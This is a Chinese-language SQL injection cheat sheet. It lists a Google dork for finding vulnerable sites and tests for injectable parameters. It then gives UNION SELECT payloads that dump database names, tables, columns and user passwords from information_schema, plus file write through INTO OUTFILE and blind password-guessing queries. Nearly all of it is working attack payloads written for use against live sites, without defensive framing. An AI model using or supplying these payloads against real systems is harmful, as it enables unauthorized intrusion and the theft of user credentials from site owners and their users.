首先设置浏览器,工具--internet选项--安全--找到“显示友好的http信息”,把前面的勾去掉;
寻找注入点
谷歌搜索小技巧:筛选关键字:"inurl:/news/read.php?id="
熟悉数据库类型
1>Microsoft JET Database Engine 错误 '80040e14'
Access数据库,通过JET引擎连接数据库
2>
----------------------------------------------------------
1
.看有无注入可能
and 1=1 ,然后 and 1=2
2
.爆数据库
and ord(mid(version(),1,1))>51 //ord返回整型数据
UNION SELECT 1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()) #
Mysql 5 以上有内置库 information_schema,存储着mysql的所有数据库和表结构信息
3
.爆表
union select 1,concat(table_name) from information_schema.tables where table_schema=database() #
4
.爆字段
union select 1,1,1,****1,1 返回正确 确认字段数
order by 2
and 1=2 union select column_name,column_name from information_schema.COLUMNS where table_name ='users' #
5
.爆用户名、密码
and 1=2 Union select 1,2,3,用户名段,5,6,7,密码段,8,9 from 表名 limit 0,1
UNION SELECT 1,concat(user,0x3a,password) from users # 0x3a==>:
------------------------
注释符:# 、/*、--
多条数据显示:concat()、concat_ws()、group_concat()
相关函数:system_user()、user()、current_user()、database()、version()、load_file()、@@datadir、@@basedir、@@version_compile_os
MD5:
http://www.md5.com.cn
;
md5():select * from users where username='tarena' and password=md5('admin')
数据库权限:and ord(mid(user(),1,1))=114
MYSQL上的语句放在 /*! ... */ 中,这样这些语句如果在其它数据库中是不会被执行,但在MYSQL中它会执行
导出文件:1' and 1=2 union select user_id,password from users into outfile 'f:/study/1.txt' #
LIKE:SELECT * FROM article WHERE title LIKE '%%' ORDER BY articleid/*%' ORDER BY title DESC
探测密码长度:
http://127.0.0.1/injection/user.php?username=angel
' and LENGTH(password)='6
LEFT()、RIGHT()、MID()函数猜密码:
http://127.0.0.1/injection/user.php?username=angel
' and LEFT(password,2)='my
当magic_quotes_gpc为on时:整形的数据是不需要用引号引起来的,而字符串就要用引号,这样可以避免很多问题。
但是如果仅仅用整形数据,我们是没有办法注入的,所以我需要把我们构造的语句转换成整形类型,这个就需要用到CHAR(),ASCII(),ORD(),CONV()这些函数